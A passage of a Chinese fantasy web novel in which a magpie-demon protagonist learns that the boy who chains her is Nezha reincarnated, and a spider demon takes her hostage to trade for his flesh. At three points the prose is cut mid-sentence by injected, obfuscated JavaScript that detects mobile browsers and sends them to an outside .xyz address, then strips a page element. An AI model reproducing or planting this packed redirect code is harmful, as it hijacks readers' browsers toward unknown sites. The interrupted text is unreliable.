“好吧,那从现在开始重新比一次,只数真腿。”妙莲来了精神,把她捞回来,当个暖手壶似的抱在怀里。 在数到第二百七十四条的时候,有人在他们面前停下来。 一人一鸟被挡住视线,同时抬头。 入目所见,是个衣着华丽的孩子,戴着一顶虎头帽,年纪约莫八九岁,脸上带着不怀好意的笑,黑葡萄似的眼睛盯着妙莲。他身后站着两个稍大些的男孩,衣着便没那么考究,脸颊被冻得发红。 在这个年龄段他们还没学会用更巧妙的方式掩饰恶意,眼里明晃晃写着“我们来找你麻烦了”。 为首那个戴虎头帽的男孩,下巴一扬,抬脚踩在妙莲旁边的石阶上:“喂。” 妙莲:“啊?” “啊什么!看见我们怎么不打招呼。” “刚刚没看见。” “现在看见了。”虎头帽把手里的糖葫芦一扔,“贞妙莲,废话不多说,敢不敢跟我们去个地方。” “不去。” “你!”虎头帽一噎,“你这胆小鬼。” 姜怀愫还没搞清楚状况,不过能看出来这几个孩子和贞妙莲之间是相互认识的,或许曾经有过什么恩怨。 妙莲又开口了,却不是对着虎头帽,而是低头对她道:“帮我收拾他们。” “......喳喳。”她发出鸟叫。 虎头帽毫不留情地给予嘲笑:“贞妙莲,跟鸟说话,你没毛病吧。” 妙莲好脾气地道:“她不是普通鸟,能听懂我说话。” “那又如何,它要护主,我连它一起炖了。” 虎头帽嚣张极了,显然是有备而来。他回头给出一个眼神,身后两个孩子立马动手要去抢鸟。 姜怀愫挣出妙莲的怀抱,张开翅膀,飞到他们双手无法触及的高度。细细的金链被抻展开,发出一阵清脆的哗啦响。 妙莲的下巴搁在膝头,懒洋洋道:“她很厉害的,不要小瞧她。” 姜怀愫:“喳喳。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447202|169434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “再厉害也只是只鸟。”虎头帽不耐烦道,“算了,先别管飞的这个。”他指着贞妙莲,“把他带走再说。” 两个孩子改变目标,又要去拉扯贞妙莲。 “我没说完呢。”他慢吞吞道,“我的鸟,不仅能听懂人话,还会说人话。” 两个孩子扯住他衣裳,七嘴八舌地嚷嚷:“别吹牛啦你,鸟会说人话,那不就是妖......” 姜怀愫一个俯冲,掠过下方那两个脑袋瓜,出爪薅走了几根头发。 两个孩子松开妙莲,捂着脑袋左躲右躲,痛得嗷嗷叫。 “老大,鸟不让我们抓这小子!” 虎头帽气得大喊:“臭鸟,宰了你喝汤!” 姜怀愫转了个弯冲向他,尖利的喙离他的眼睛只有分毫之差,吓得虎头帽赶紧闭上眼睛。然而她只是叼走了他的帽子,甩到高高的树杈上,让他拿不着。 收拾几个小屁孩还不是小菜一碟。只是她想不通,妙莲干嘛不自己出手。 坐那一动不动,净说些“我家鸟会说话”“我家鸟很厉害”之类的屁话,像是小学生在炫耀“我爸会开飞机”。 罢了罢了。姜怀愫想,正好借此机会,检验一下自己的修炼成果。贞妙莲就坐观众席看着吧,谁让他徒有天赋没有仙缘,连法术也学不会。 她扇动翅膀,灵力裹挟着空气,形成一股风势。三个小孩被突如其来的狂风吹得睁不开眼,连连后退。 最矮的那个在后退过程中摔了一跤,一屁股坐在马粪上,气得涨红了脸。 “......这次先放、放他一马!”没了虎头帽的男孩声音带着哭腔,只是碍于面子,逃跑前还得找个借口,“我娘说刮大风就是要下雨,这次先撤,我可不想淋湿衣服。” 另外两人唯他是从,一听这话,自然也就无心再战,一边对贞妙莲放着毫无威胁力的狠话,一边脚下生风,推推搡搡地跑路了。 妙莲手搭凉棚,望着三人远去的背影,眯眼笑道:“做得好,小鸟,今晚加餐。” 姜怀愫在他头上落了脚:“其实用不着法术,你也能教训他们。” “教训过了。” “啊?” “要不然你以为他们为什么来找我麻烦。自然是以前被我揍过,才想来报仇。” 搞半天己方才是不占理的那个?姜怀愫傻眼。 “以前我上过一段时间的私塾。”妙莲接着道,“那个戴虎头帽的,是我同窗。见不得我处处压他一头,放堂后要找我麻烦,让我给揍了一顿。” 姜怀愫有点惊讶,这是第一次听妙莲说起以前的事,之前一直以为他没上过学。 “在那之后,我爹就替我辞学了。” “为什么?” “他怕我将来在私塾闯出祸事,干脆让我在家待着,还安心些。毕竟他很清楚,那群小毛孩儿加起来也不够我一个人打。” 自己不也是小毛孩......姜怀愫在心里嘀咕。 “年纪小忘性大,这么久过去,他忘了旧伤,认为自己又行了。”妙莲很毒舌地指出,“找了两个打手来挑衅,大概是觉得在我家附近不好发挥,想拉我去别的地方较量一番。” “糊涂啊,这群蠢货。明明在我家门口才更方便以多欺少,因为我爹会加入他们一起揍我。” 顿了一下,他又道:“但你得站我这边,姜怀愫。因为我们是绑在一起的。” 妙莲得意地晃了晃手腕上的镯子。 “......”姜怀愫没法反驳。 目前为止他俩的确是命运共同体,除非敌方有百分百能胜过妙莲的压倒性实力,她才会选择倒戈,并借机跑路。 否则妙莲秋后算账,她如何承受得起他的报复......至少现在还不行。 不过,等她修炼成厉害的大妖,形势就能翻转了!姜怀愫美滋滋地想。 5. 第 5 章 妙莲洗澡时,是不戴镯子的。 也是奇怪,那镯子看着轻巧,被他随手放在桌上,连个浅浅的凹痕都不会留下。 可无论姜怀愫怎样牟着劲儿往上飞,都无法带动这份重量。那镯子跟定海神针似的,位置不移分厘。 这次姜怀愫决定做点新尝试。不用蛮力,直接上法术,她就不信,这链子那么结实,连高温火烤都不能掉它一层皮。 找准卡扣旁边,链环间最薄弱的连接点,她集中念力,施法将烛台上的火焰引接到那一处。 由于灵力微薄,这火焰体积很小,且无法持续燃烧,附着在链子上,很快就会熄灭。 她只能接连不断地引火,灵力都快被掏空,链环却丝毫无损,连金漆都没掉。 “这种程度的火,不行的。”妙莲的声音从门口传来。 姜怀愫被这道突然响起的声音吓得身子一歪,火势差点失控燎到自己的羽毛。抬眼一看,妙莲正倚在门框上,似笑非笑地看着她。 可恶,妙莲肯定有意放轻了脚步,她一点都没察觉到他的接近! 她后背有点发凉,硬着头皮道:“......你什么时候站在那里的?” “有一会儿了。”他走过来,“我洗澡很快的,反正有除尘诀,泡泡水只是走个形式。” “......什么诀?” “除尘诀除尘诀。”他连说两遍,做了个鬼脸。“这种简单的小法术,还是能学会的。” 被欺骗的恼怒一瞬间压过了逃跑被抓包的心虚,姜怀愫甚至都顾不上为刚才那一幕编造借口了,她站在桌上,质问妙莲道: “你不是说你练不了仙法吗!” “是啊,长生之法和变化之术练不了。”他打了个响指,湿漉漉的披肩发瞬间变得干爽,“其它的,很简单啦。” 姜怀愫气得走来走去:“你怎么不早说?” 她想起了高中时候自己的学霸同桌,每次考完都说“完了这回肯定不及格”,结果成绩一出,稳稳的年纪前三。 可恶,学霸为什么总爱藏拙? “我的事,想说就说,不想说就不说。”他似乎觉得莫名其妙,“你想用法术偷偷逃跑我都没说什么,我用法术洗个澡,你生什么气。” 姜怀愫一下子蔫了,眼神躲闪,“我刚才只是,呃。” “你只是想试试御火术练得怎么样对吗?”妙莲冷冷道,“理由都给你想好了。” 她外强中干地昂起头,与他对峙,“好吧,我是想烧断铁链逃跑,那又如何?你说过的,我要是有本事逃走,你不会拦我。” “是啊,可惜你本事还不够。这条链子我用法术加固过的,没那么容易断掉。想逃跑,再练练吧。” ......这可怎么办。 姜怀愫泄了气,事到如今,难道只能期盼他多熬夜勤生病,拿砒霜当饭吃,早点被天收了去吗? 可他看起来身子骨挺好,离入土还有很长一段距离。 仿佛被判了有期徒刑,姜怀愫着实消沉了一阵。 但没过多久,她又把自己安慰好了。说到底,在哪修炼不是修炼,对于长寿的妖怪来说,几十年不过弹指一挥间。 况且妙莲那几本书让她少走了很多弯路,待在他身边并非全无好处。 修心采气的时候,她望着海平线,不禁联想到花果山也在这片海里。有朝一日,会不会看到有只猴子乘着竹筏破浪而来? 怀着这样的念头,春夏秋冬,她几乎日日不曾缺席,借用修炼之余观察海面状况,差点变成一块望猴石。 妙莲也乐得相陪,对于他来说,跟姜怀愫一起坐在礁石上吹海风,比待在家里舒服。 被贞老爷派来监看他的侍从发现,三少爷似乎不再像从前那般热衷于猎兽了,他总是带着那只鸟,在贞府和海岸之间两点一线地跑。 日复一日,侍从总算厌烦了这桩差事,无需妙莲费心支开他,他自己也会找机会划水溜号。 不知不觉间,姜怀愫来到贞府,满打满算已有三年时间。 妙莲的身量比初见时长高了不少,姜怀愫的外貌体型却几乎没有变化。 三年,对于一只寻常喜鹊来说,已经算是小半辈子了。可姜怀愫的羽毛依然富有光泽,喙部没有钝化,虹膜没有混浊,趾爪也没有磨损的迹象。 这种时候,才能实打实感觉到人和妖之间的差别。 如果说妙莲是一株茁壮成长的花苗,那她就是溪流中的雨花石,时间在她身上留下的痕迹要浅淡许多。 这也说明,她所修行的长生之术是有效的。 不过,她离化人形的阶段还很遥远,只能使出一些基础的变化之术,比如在不改变物种形态的基础上让翅膀增大至原来的几倍,或者让爪子变长。 以她目前的法力,这些变化的维持时间都很短,不会超过一柱香。 有一回,妙莲半夜兴起,带她来到院中,说想看看她的变化之术练得如何。 她被妙莲挡住了视线,没注意到几丈之外的书房内烛火未歇,尚有人在。 一无所知地展开翅膀,畸形的巨大鸟影映在窗前,房中立马传来一声低沉的惊叫,随后是桌椅的碰撞声和□□的倒地声。 正是书房内挑灯处理公务的贞老爷,让这道突然出现的影子给吓得不轻,慌乱间摔了一跤,弄出这许多动静来。 揉着腰爬起身,贞老爷拿起砚台当防身武器,揣着一颗差点停跳的心,又做了一刻钟的心理建设,才小心翼翼地将房门推开了一条缝。 然而扫视一番,他并没看到怪物的身影,只见到一片空荡荡的庭院。夜空如洗,微风拂面,方才的一切仿佛都是错觉。 他想了半天,只能将此事归结于自己处理公务过于劳累,看花了眼,把晃动的树影错认成了怪物。 无论如何,贞老爷是不敢再待在这儿了。以百米冲刺的速度躲进西厢房,裹着被子拉上床帘,他决定明天去请个道士来做场法事,才好彻底安心。 殊不知此时他的孝顺儿子正扒着瓦片躲在房顶,目送他狼狈的身影消失在游廊尽头,惬意地笑出了声。 而姜怀愫早已收了法术,化作普通喜鹊模样,在妙莲身边不悦地踱步。 “你故意的?” 他先前领她走到檐下阴影处,正是看准了角度,让她的影子能投映到书房的窗纸上。 目的就是为了作弄老爹。 贞老爷被吓到的时候,姜怀愫也被书房里的动静吓了个半死。 此时她谴责的目光对准了妙莲,后者却坦然承认:“对啊。” “为什么?” “因为好玩。”妙莲反问,“你不觉得有趣吗?” “我......” 即使一人一鸟之间的关系已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447203|169434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经很熟,但姜怀愫并不能像对待普通朋友一样对待他,心里始终有所防备,谨小慎微,不愿多生事端,得罪了他。 除却气性上头的时候,她通常是不跟他唱反调的。在无关紧要的地方,昧一昧良心也无妨,比如现在。 “我觉得还行。”她囫囵道。 其实并没体会到这件事的乐趣所在,但她无意替贞老爷出头,于是给出了这样一个敷衍但不出错的答复。 妙莲盯着她,似乎看穿了她的未尽之意。 半晌,他敛去笑意道:“算了,回去睡觉,明天还要早起修炼。” 这一茬看似已经揭过,可回卧房的路上,妙莲突然把镯子摘下,随手放置于院中凉亭,头也不回地走了。 姜怀愫没有出声拦他。很明显,他不是把她给忘了,而是故意将她扔在这里。 镯子固定了她的活动范围,进不了房间,就只能在凉亭内待上一晚。 ......他这是在跟她闹什么别扭? 睡外面倒是无所谓,反正她本来也不喜欢待在妙莲屋里,因为总有股挥之不去的莲花香,闻久了有点头晕。 不知他用的什么牌子的香料,效力惊人,把房间都腌入味儿了。身上也有这种味道,在室外通风的地方才没那么明显。 姜怀愫此刻就站在通风的凉亭里,妙莲和那诡异的花香味一同离她远去了,不带留恋的。 难以理解,妙莲为什么忽然生气。 莫非就因为方才作弄贞老爷的时候,她没有积极主动地表明立场,与他坚定站在同一头? 真难伺候。姜怀愫对着他的背影翻白眼,睡外面就睡外面,她才不会为了这种无谓的事去找他低声下气地认错。 了解他越深,就越体会到他性格中恶劣的那一面。 妙莲希望她能“帮亲不帮理”,除了他是“亲”,其他全都是“理”。 姜怀愫深入思考了一番,觉得妙莲的这种心理类似于养宠物,宠物要无条件站在主人这边,主人指谁就咬谁,不允许存在中间立场。 可妙莲又不明说自己的需求,搞得她连做戏都慢半拍。刚才他要是直接说“你,夸我干得好,再骂两句我爹给我瞧瞧”,她不就照做了吗! 莫名被甩了一通脸色,饶是姜怀愫脾气再好也有点火大了。 仿佛在玩某种互动叙事类游戏,妙莲每问她一个问题,面前就会跳出ABCD若干个选项。可她怎么知道哪个选项会踩雷,她又不是他肚子里的蛔虫! 她本就不太能把握功利性示好的尺度,以前玩那种人物互动类游戏都是直接查攻略了事。现实中的情商也只能说刚好够用,偶尔会干出得罪人而不自知的事。 犹记得初入职那年,领导给外婆过大寿,让她们部门每人在镜头前说句祝寿的话,要做成视频合集。她第一句话是祝老人家长命百岁,领导当时脸就绿了,说我外婆今年九十九。 在姜怀愫怀着沉痛心情回忆往事的当口,一道阴森飘渺的声音十分突兀地在她耳边响起—— “合作吗?” 声调极低,简直是在呓语。有装神秘的嫌疑。 不过这陌生的音色还是让她立马警觉起来,迅速扫视了一遍周围环境,并未见到有人接近。 “小鸟,合作吗?”那声音又问了一遍。 这次加上了名称,指向性更强了,明显就是冲她来的。 6. 第 6 章 “......谁?” 姜怀愫没头苍蝇一样,绕着凉亭飞了一圈。 “谁在说话?” “嘘。”那道声音显得有些急了,顾不上装神秘,语速也变快,“你小点声,不要把妙莲引来。我在你头上,你别乱动了。” 头上?姜怀愫大惊,无视他的提醒,使劲甩了甩脑袋。下一瞬,一个小指甲盖大小的东西从她头顶飞了出去,在空中形成一道细细的抛物线。 难怪她没有看见,这东西也太小了,趴在她的脑袋上,跟没有重量一样。 小东西轻飘飘落了地,翻过身来,原来是一只跳蛛。四只米粒似的的黑眼睛对准了姜怀愫:“都让你别动了,晃什么脑袋,差点摔着我!” “哦......不好意思。但你谁啊?” 姜怀愫不记得自己有认识过这样一位蜘蛛朋友。 “我叫知心大王,是方圆百里......不,方圆千里内,修为最高的一只蜘蛛。” 拿不准这蜘蛛是不是在吹牛,但此时态度客气点总没错。姜怀愫很捧场地道:“哇。” 事实证明,知心大王还是有点本事在身上的。 他在确认过周围没人后,摇身一变,化作一个青年男子模样,长发如织,黑衣如墨,非常低调的装扮,几乎与夜色融为一体。 姜怀愫:“唔!”这次是真情实感的慨叹了。 她不知还要修炼多久才能化形,看见同为妖类的知心大王已达此境,自是羡慕不已。 “小鸟,算你运气好。”知心大王高深莫测道,“眼下有个大机缘,你可与我共享。” “此话怎讲?” “你答应与我合作,我就告诉你。” “......那算了。”天下哪有掉馅饼的事,连所谓的“大机缘”是什么都不说清楚,就想白得她一个承诺,想得美。 见唬不住她,知心大王嘿嘿两声:“别这样,我开玩笑的。同为妖怪,理应互帮互助,你不放心我,我先托底就是了。” 姜怀愫摆出倾听的模样:“好,你托吧,我听着。” “那个叫妙莲的小子......”知心大王凑近了她,“是天上神仙转世来的。” 姜怀愫一愣,这消息是挺劲爆。 但她并没有生出太多讶意,那小子不似常人,她早看出来了。准确来说,这一家子都不似常人。 “而且不是一般的神仙转世,此人乃降魔天神,哪吒三太子的凡界分身是也。这其中情况有点复杂,你听我慢慢跟你讲......” “等等。哪、哪吒?”她舌头差点打了结,眼睛都瞪大了。 “对。你别打岔,先听我说。” 知心大王怎么会懂姜怀愫此时的震惊,还以为她是被这尊大神的名号所震慑,暗道果然是修为低微见识短浅的山精野怪,听个名字就吓成这样。 然而姜怀愫只是单纯意外于,妙莲与哪吒这两个名字......居然画上了等号?! 哪吒这号人物她可不陌生,闹海的那位嘛。当年事儿闹得可大,都上电视了。每晚八点半,少儿频道准时响起他的主题曲,屏幕里的小英雄混天绫一甩乾坤圈一套,双手叉腰闪亮登场。 实在难以将童年回忆里那个丸子头红肚兜的乖小孩和现在这个给她栓链子的小混蛋联系在一起。童年滤镜猝不及防裂开一条大缝,姜怀愫只觉造化弄人。 知心大王浑然不知她的心路历程,仍在自顾自解说前情。 正说到天上的哪吒三太子,自刎重生后认塔作父,与李靖释了冤仇。可父子俩毕竟同在天庭当差,难免相看两厌,摩擦不断。 殷夫人头疼,玉帝也难做。最后还是太白金星从中调停,给出建议,让哪吒与李天王各取一缕神魂,载了五毒六欲七情,下凡投胎去。 下界神魂等同于恶念化身,为人一世,必能消减许多戾气。而本体仍在天庭当差,两不耽误。 金吒远在灵山,木吒驻守南海,李贞英年纪尚小,自然不参与这等糟心事。唯有殷夫人不放心,分出一缕神魂,也跟着小儿子去了凡界。 这法子的确管用。本体被剥了五毒六欲七情,各个都显得很受用——父子关系缓和了,殷夫人头也不疼了,大家情绪都稳定多了,皆大欢喜。 就算将来神魂回归,也不用担心情况会回到原样。多出一世父子情,又消磨了戾气,哪吒与李天王肯定不会再像当初那般针锋相对。 姜怀愫听完全程,半信半疑道:“这些事......你从何处得知?” 知心大王露出得意神色:“一部分是我自己打听来的,还有一部分是土地广而告之。附近妖怪多多少少都知情,没人敢去打哪吒太子的主意。” 好吧。 姜怀愫思索半晌,发觉一旦接受了“妙莲就是哪吒”的设定,从前发生在妙莲身上的许多异常之处似乎都说得通了。 他周身总萦绕着一股挥之不去的莲香,是因为受了本体莲藕身的影响。 无法修行变化之术和长生之术,是因为他没有完整的魂魄。 缺失魂魄会导致变形不稳定,或者无法控制。而长生之术的修习......按照书中所说,需调动全身精气神三宝,通过炼精化气、炼气化神、炼神还虚的进阶过程。若缺失任一魂魄,就如同电路系统出现断路,练不成的。 妙莲之前说得没错——这辈子,他只能是个寿数有限的凡人。 回过神来,姜怀愫抬头看向知心大王,眼里多了几分认真。 “......就算如此,哪吒太子的事,跟我俩似乎没有关系。你之前说的机缘,是什么?” “咳咳,你难道不好奇,吃一口神仙肉,能长多少年修为?”知心大王压低了声音。 铺垫了半天,原来是在想这个! 姜怀愫倒吸一口凉气,把头摇的像拨浪鼓。 不好奇,她一点都不好奇。觊觎神仙肉的妖怪没有好下场,这个道理她小时候看西游记就知道了。 她试图劝退这只不知天高地厚的小蜘蛛:“你不是说没人敢打哪吒的主意么......” “我跟别人哪能一样!我知心大王,肝胆过人,勇猛无双。再说了,我又不是要他的命,啃一口肉而已!” “不行,我不干。将来他神魂归位,找我们算账咋办。” 若知心大王执意要去送菜,姜怀愫只能与他划清界限。 作为手握剧本的女人,她深知得罪哪吒无异于自找死路,此人气性大到能我杀我自己,她吃饱了撑的才去惹他。 何况她连人形都没能化得出来,越级挑战大神的成功率基本为零。 即便妙莲现在是凡人,但瘦死的骆驼怎么也比马大。风险太高,她没必要为了这口莲藕肉搭上性命。 在不知道妙莲身份之前,她还存有那么一点报复的心思,现在什么也不敢想了,只求将来好聚好散。 “等他回天上当了神仙,早把我俩忘干净了!”知心大王瞪着她,“吃他一口肉有什么的,借口这么多,你就是不敢。” “对,我不敢。” 知心大王哦了一声:“意思是不肯跟我合作了。” “蜘蛛大哥,我......” 姜怀愫想说两句场面话糊弄过去,对面的男人却已收了好脸色,冷冷道:“行。” “......嗯。” 合作谈判失败,她和知心大王之间已经没什么好说。 姜怀愫以为他这就要离开,心里琢磨着要不要给妙莲报个信儿,还是假装不知情。 没想到他忽然伸手抓住了那根锁住她的金链,大量的妖力倾灌而入,连周围的空气都开始震颤。 一股一股的热浪便是磅礴妖气的具象化,将姜怀愫的羽毛吹得左摇右摆。她喉咙发紧,说不出话,蓦然发觉眼前之人的修为比她想象中还要高,或许是高很多。 链身表面显现出细小的裂痕,随后,一声清脆的碎裂声响,链环间的连接处彻底断掉。 这声音不大,传入姜怀愫耳中却似一道惊雷,炸得她头皮都紧了。锁了她三年的脚链被破了法术,已然变成一堆废铁。 第一反应是赶紧逃,飞得越远越好——没了这道锁链,她自由了! 可知心大王的发丝犹如活物般探出,预判了她的飞行轨迹,将她拉回原位。细密的发丝把她绑得严严实实,连嘴都捆上了。 知心大王看起来也不轻松,耗费了大量妖力,他额上沁出冷汗,嘴唇发白。 即便如此,他还强撑着维持风度,勾了勾嘴角:“你这小鸟,敬酒不吃吃罚酒。” 本来是想劝她去妙莲那边做卧底,跟自己来个里应外合。既然她不肯,便只能启动第二计划了。 多费了点力气,不过问题不大。 知心大王从袖子里摸出张小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447204|169434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸片,压在亭中央的桌面上。 做完这件事,他把姜怀愫揣在袖子里,心情很好地哼哼:“成了,你现在是我的鸟质。” “......” 真是戏剧性的转折,姜怀愫获得自由还不到两秒钟,就再次被俘。 知心大王揣着她飞到城外一座小山头,左拐右拐,进了一处山洞。 入目皆是细雾般的蛛丝,又腥又粘的气息遍布其间。山洞角落处堆着各种不知名动物的骨头,上面还挂着没剔干净的肉丝。 这里似乎是知心大王的老巢,很具蜘蛛精特色。 姜怀愫在他袖口处探头探脑,并没看到床铺桌椅。难道知心大王平时都睡在蛛丝里?挺好,化作人形了也不改妖怪本色。 最中间架着一口大锅,里面的淡黄色液体还在沸腾冒泡,散发出一股辛辣苦涩的气味。她看不清里面煮的是什么,但直觉不会好吃。 注意到她的目光所在,知心大王很不给面子地道:“那是我熬了三天的高汤,用来配神仙肉的。别看了,你没这口福。” 他凑到锅边,深吸了一口气,做出一脸陶醉样,语调夸张,似乎故意要勾姜怀愫肚子里的馋虫。 “加了三副小孩肝脏,真真鲜掉眉毛......就等主菜下锅了。” 姜怀愫暗自心惊。小孩肝脏......可不是什么常见的食材。听他这习以为常的语气,似乎已经吃了不少人? 她口腔内部开始分泌口水,却不是因为嘴馋,而是因为想吐。毕竟为人时的记忆还很清晰,面前正煮着一锅沸腾的小孩肉汤,她实在很难维持淡定。 “我已经给那小子留了信,让他一个人来见我。”知心大王摸了摸她的头,愉悦道,“用一块肉,换一个你。” 他自言自语了一阵,忽然想起姜怀愫的嘴还被捆着,说不出话,没法回应他。于是大发慈悲,撤了禁锢,“你觉得妙莲什么时候会来?” “......我不知道。” “他不来的话,你就代替神仙肉下锅。虽然作为主菜次了点,但好歹也是只开了灵智的妖,哼。”他围着锅转了一圈,“你最好祈求,在他心里你足够重要。” 没想到还有自己的事儿,姜怀愫顿感不妙,脑袋疯狂转动,觉得当务之急还是先稳住知心大王。 “那你算是打对算盘了,有我在这儿,他一定会来的。我对他非常重要。” “有多重要?” 姜怀愫眨了眨眼:“别说一块肉了,就算让他拿命来换,他说不定也会同意。” 这番话她说得真假参半。 妙莲会来是真的,但不是因为她有多重要,而是他不能容忍这种程度的挑衅。 按照她对妙莲的了解来说,此人报复心极强,杀敌八百自损一千的事都能做得出来。 何况,作为哪吒的分身,他承载了本体多余的情绪与恶念,气性不会比本体小,怎么可能宽宏大度到任由别人将她夺走。 姜怀愫唯一担心的是自己的性命安全能否得到保障。 她一直觉得,在妙莲心中,自己的定位有些模糊,比起“玩伴”来说,似乎更接近于“玩具”。 玩具,无论是死是活,只要捏在自己手里就可以。 现在天还没亮,不知妙莲何时才能起床,看到凉亭里的那张纸条,前来相救。 姜怀愫心里忐忑不已,一点睡意也无。盯着那口大锅下的火炭,她眼睛有些泛酸。 目前所能想到的最好的情况,就是知心大王和妙莲能在不伤及她的前提下大打出手。 并且不能是秒杀式的打法。 最好是知心大王跟妙莲缠斗一阵,再死。 过程中如果逮到机会,她可以趁乱逃跑。等妙莲制服了妖怪,回过神来,她已飞到天边去了,他没长翅膀,自然追不上她。 当然,结果不一定如她所想,说不定这一世妙莲太菜,反而被知心大王给制服。 那样的话,她更得逃了。否则留在这儿只能起到一个丰富锅内食材的作用,跟妙莲在蜘蛛肚子里团聚,骨头一起排排坐。 不同的是,妙莲死了还能回天上做神仙,她死了就真死了,阎王可不会给她走后门。 ......回想起三年前的初衷,姜怀愫惆怅得想叹气。 一开始,明明只想去花果山看猴来着。 哪能想到,后来遇上这一桩又一桩的麻烦事! 7. 第 7 章 半天等不来人,知心大王狐疑地看向姜怀愫:“你确定你在他心里很重要?” “那不然你抓我当人质干嘛?我以为你至少观察过一段时间,觉得我和妙莲关系不错,才挟持我来威胁他。” 知心大王理直气壮:“是观察过。你与他交往最为密切,倘若你愿意从中搭桥,事情办起来就容易很多。得了神仙肉,我还能分你一杯羹。” “你怎么不再劝劝我呢。”姜怀愫忿忿道,“我说不愿意,你就直接放弃这条路了?如果我知道拒绝的下场是成为人质,我肯定答应你。” “你当我傻呀。你假意答应,到时再去他面前揭发我,我岂不是白干一场。” 姜怀愫就着话头跟他认真分析起来:“有道理。但如果你一定要选择一个人质,我认为贞老爷是更好的选择。” “他跟他家人关系没那么好。而且那夫妻俩不也是神仙转世?嘿嘿,相比起来,还是你最好拿捏了,没背景没后台没实力,我就选你,就选你。” “......” 姜怀愫觉得自己命好苦,作为穿越者怎么可以一点金手指都没有。 “天亮了。”知心大王看向洞外,“贞妙莲只要去凉亭找你,就能看到我留下的信。再过两个时辰,如果他还不来,我就把你煮了。” “两个时辰?”姜怀愫大惊失色,“那怎么够。万一他今天想睡懒觉,又万一被什么事情绊住手脚,一时不能脱身可怎么办?” “两个时辰足够了。超过这个时间,就说明你在他心里地位不高,他懒得为你跑这一趟。” “既然你都选我了,能不能对我多点信任?”姜怀愫试图周旋,“我对他真的很重要,为了救我,他跨刀山下火海也会赶来的......多给他一点时间不行么。” 妙莲的声音非常适时地响起: “我怎么不知道你有那么重要?” 说不清此时是尴尬更多还是喜悦更多,姜怀愫吞了吞口水,和知心大王同时转头,看向洞外。 小小少年的身影逆着光立在洞口,叉着腰,一副来找人算账的姿态。他看起来很火大,头发扎得乱七八糟,衣带在腰间缠成一团。 知心大王面上露出警觉之意:“小子,你一个人来的?” “就我一个。”妙莲反问,“这不是你的意思吗?” 知心大王哈哈大笑:“对,这样就对了。没必要搞那些弯弯绕绕的,就我们仨在这儿,做一桩简单的交易而已。” “用我一块肉,换她一条命?” “没错。” “不换。” “?” 姜怀愫拼命给妙莲使眼色:别在这种时候犯犟啊! 大锅在后面咕噜咕噜冒着热气,她被知心大王握在手里,有种下一秒就要被扔进去当食材的恐慌感。 妙莲掀开门帘似的蛛网,一个矮身钻进洞内。仿佛是来拜访的客人,他环视四周,面上带着审视的神色。 他指向那口锅:“用来煮我的?” 知心大王摆手:“只是要你一块肉,不是要取你性命,何必搞得这样不愉快。你随便切根手指下来也行,我马上把鸟还你。” “去你的。一根手指,我一根头发都不给你。” 知心大王额上的青筋跳了跳,但想到近在咫尺的神仙肉,决定再多给些耐心: “现在不是说气话的时候。你只身前来,不是为了救小鸟吗?切勿本末倒置,赔掉她的性命。”知心大王话中隐含的威胁意味很明显。 “不。”妙莲袖中滑出一柄短剑,“不是来救她,是来杀你。” 妙莲的话断绝了这桩“交易”的最后一丝可能性,连逢场作戏都不愿,直接撕破脸皮。 剑尖划破空气留下一线光痕,显然不是普通的剑气,灌注了灵力,说削铁如泥都是轻的。 杀意直奔知心大王而去,后者连忙翻身跃起,避开剑招。 “我五百年修为,真打起来你也讨不了好!” “打了再说。” 姜怀愫在知心大王的袖口处荡来晃去,偏偏又有蛛丝吊着,不至于真正掉下去。她被颠得头昏脑涨,还得稳住心神观察局势,险之又险地看着妙莲的短剑数度与自己擦身而过。 洞内狭窄不便施展,碎石四溅,扬起的灰尘让本就昏暗的山洞能见度进一步降低。姜怀愫竭力睁大眼睛也看不清更多,直到知心大王被妙莲逼退到了洞外,视野才豁然开朗。 知心大王的喘息声又快又急,周身妖气激荡。她在袖中闻到浓重的血腥味儿,料想他应该是在方才的打斗中受了伤。 妙莲脸上也多了道血痕,血珠顺着伤口滚下来,他随意抹了一把,白嫩的脸蛋上晕开红痕,不像血迹,倒像是小孩嘴馋没吞净的石榴汁,散发着一股奇异的清香。 知心大王嗅到空气中的血香,鼻翼翕动了几下。盯着妙莲脸上的伤口,心中生出一股暴戾的冲动来——真想喝光他的血,再撕下他的肉吞进肚里。 相顾无言了两秒,双方再次战作一团。 这回知心大王的打法迅猛不少,像是被激出了火气。 与此同时他还想到了姜怀愫的可利用性——用蛛丝控制她左右移动,挡在自己面前,便是一道天然软盾。 姜怀愫心惊胆战,眼见着妙莲的短剑好几次砍到她面门前,像是真没有留情,只要知心大王死了就好,她活不活无所谓。 